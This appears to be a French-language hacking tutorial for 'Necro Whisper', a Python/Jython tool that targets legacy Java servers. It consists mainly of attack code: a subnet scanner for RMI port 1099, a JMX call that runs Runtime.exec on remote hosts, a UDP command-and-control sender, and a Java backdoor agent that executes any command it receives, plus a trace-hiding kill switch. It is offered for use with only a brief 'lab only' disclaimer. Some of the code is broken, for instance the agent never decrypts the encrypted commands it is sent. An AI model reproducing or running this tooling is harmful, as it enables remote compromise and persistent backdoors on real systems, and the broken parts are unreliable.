⚡ NECRO WHISPER – LE MURMURE DES MORTS ⚡

Réveillez les systèmes oubliés et transformez-les en armes furtives – Python et Jython au service du chaos.

🪦 INTRODUCTION – LE RÉVEIL DES MORTS

Necro Whisper est un hack Python qui fait danser les squelettes numériques. On parle de vieux serveurs Java, de JVM vulnérables, et d’IoT laissés pour morts dans les coins sombres d’Internet. En 2025, ces ruines traînent partout – banques, usines, gouvernements – et on va les réveiller pour en faire une armée furtive. Scans avec CPython, injection via Jython, et ordres cryptés qui murmurent le chaos. Pourquoi ? Pour montrer ce que Python peut faire quand on le pousse à fond, avec une touche de magie noire éthique. Prêt à invoquer les esprits ? 😈

🛠️ MATÉRIEL & SETUP

Pré-requis logiciels

Voici ton kit de nécromancien :

Matériel (optionnel)

Pour aller plus loin :

Installation

Suis ces étapes pour tout mettre en place :

# CPython
wget https://www.python.org/ftp/python/3.11.8/Python-3.11.8.tgz
tar -xzf Python-3.11.8.tgz && cd Python-3.11.8
./configure && make && sudo make install
pip install aiohttp cryptography pyhackrf

# Jython
wget https://repo1.maven.org/maven2/org/python/jython-installer/2.7.3/jython-installer-2.7.3.jar
java -jar jython-installer-2.7.3.jar -s -t standard

# VM Test
docker pull jboss/jboss-as:7.1.1
docker run -d -p 1099:1099 jboss/jboss-as:7.1.1

Temps estimé : ~1h si ta connexion tient la route. Kali Linux est ton meilleur allié ici !

💾 CODE PRINCIPAL – NECRO WHISPER

necro_whisper.py

Le cœur du murmure – un script qui jongle entre CPython (scan et C2) et Jython (injection). Voici le code expliqué :

# -*- coding: utf-8 -*-
import sys
if 'java' in sys.platform.lower():  # Jython pour injection
    from java.rmi import Naming
    from javax.management.remote import JMXConnectorFactory as JMX
    from java.lang import Runtime
else:  # CPython pour scan et contrôle
    import aiohttp, asyncio
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
    import os, random

KEY = b'\x01' * 32  # Clé de chiffrement C2 (à personnaliser !)
NONCE = b'\x02' * 24  # Nonce pour ChaCha20 (change-le aussi)

# Scan asynchrone des systèmes morts
async def scan_dead(session, ip, port=1099):
    try:
        async with session.get(f"http://{ip}:{port}", timeout=2) as resp:
            if resp.status == 200:
                print(f"[+] Mort trouvé : {ip}:{port}")
                return ip
    except:
        pass
    return None

# Balayage du réseau
async def necro_scan(ip_range="192.168.1."):
    async with aiohttp.ClientSession() as session:
        tasks = [scan_dead(session, f"{ip_range}{i}", 1099) for i in range(1, 255)]
        results = await asyncio.gather(*tasks)
        return [ip for ip in results if ip]

# Réveil via RMI/JMX (Jython)
def wake_dead(ip):
    try:
        rmi = Naming.lookup(f"rmi://{ip}:1099/JMX")
        agent = JMX.connect(rmi)
        conn = agent.getMBeanServerConnection()
        conn.invoke("java.lang.Runtime", "exec", ["cmd.exe /c echo Necro Whisper > C:\\whisper.txt"])
        print(f"[+] {ip} réveillé")
        return True
    except Exception as e:
        print(f"[-] Erreur : {e}")
        return False

# Envoi d’ordres cryptés via UDP
def whisper_c2(ip, command):
    from socket import socket, AF_INET, SOCK_DGRAM
    cipher = Cipher(algorithms.ChaCha20(KEY, NONCE), mode=None)
    encryptor = cipher.encryptor()
    payload = encryptor.update(command.encode())
    sock = socket(AF_INET, SOCK_DGRAM)
    sock.sendto(payload, (ip, 6666))
    print(f"[+] Murmure à {ip}: {command}")

# Auto-destruction
def kill_switch():
    os._exit(1)  # Fin brutale, pas de traces

if __name__ == "__main__":
    if 'java' in sys.platform.lower():  # Jython
        targets = ["192.168.1.100"]  # À remplacer par ton scan en lab'
        for ip in targets:
            if wake_dead(ip):
                whisper_c2(ip, "whoami")
    else:  # CPython
        loop = asyncio.get_event_loop()
        dead_ips = loop.run_until_complete(necro_scan())
        print(f"[+] Morts : {dead_ips}")
        for ip in dead_ips:
            whisper_c2(ip, "dir > C:\\necro.txt")
        # kill_switch()  # Décommente pour disparaître

Jython injecte l’agent Java, CPython scanne et murmure. Personnalise KEY et NONCE avant de lancer – sécurité d’abord !

🧠 AGENT JAVA – LA MARIONNETTE

necro_agent.java

L’agent qui écoute tes murmures sur UDP 6666 :

// Compile avec javac necro_agent.java
import java.net.*;
public class NecroAgent {
    public static void main(String[] args) throws Exception {
        DatagramSocket sock = new DatagramSocket(6666);  // Écoute sur 6666
        byte[] buffer = new byte[1024];
        while (true) {
            DatagramPacket packet = new DatagramPacket(buffer, buffer.length);
            sock.receive(packet);  // Reçoit le payload
            String cmd = new String(packet.getData(), 0, packet.getLength());
            Runtime.getRuntime().exec(cmd);  // Exécute la commande
        }
    }
}

Injection

Compile avec javac necro_agent.java, puis injecte via RMI/JMX avec Jython. Il devient ton esclave silencieux.

⚡ TESTS RÉELS – LABO CHAOS

Setup Test

Voici comment réveiller les morts en labo :

Test RF (Optionnel)

Pour traquer les IoT oubliés :

# Avec HackRF
hackrf_sweep -f 400:500 > rf_scan.txt
# Analyse pour vieux Java (ex. caméras)

Résultats Attendues

Si tout roule :

⚠️ Labo fermé only – pas de conneries sur des réseaux publics, OK ?

⚠️ RISQUES & ÉTHIQUE

Ce truc est puissant, alors écoute bien :

Légalité : Interdit hors labo ou autorisation explicite. C’est une arme, pas un gadget.

Responsabilité : Ton karma, tes choix. On éduque, on ne détruit pas.

Éthique : Révèle les failles pour protéger, pas pour nuire. La liberté, pas la guerre.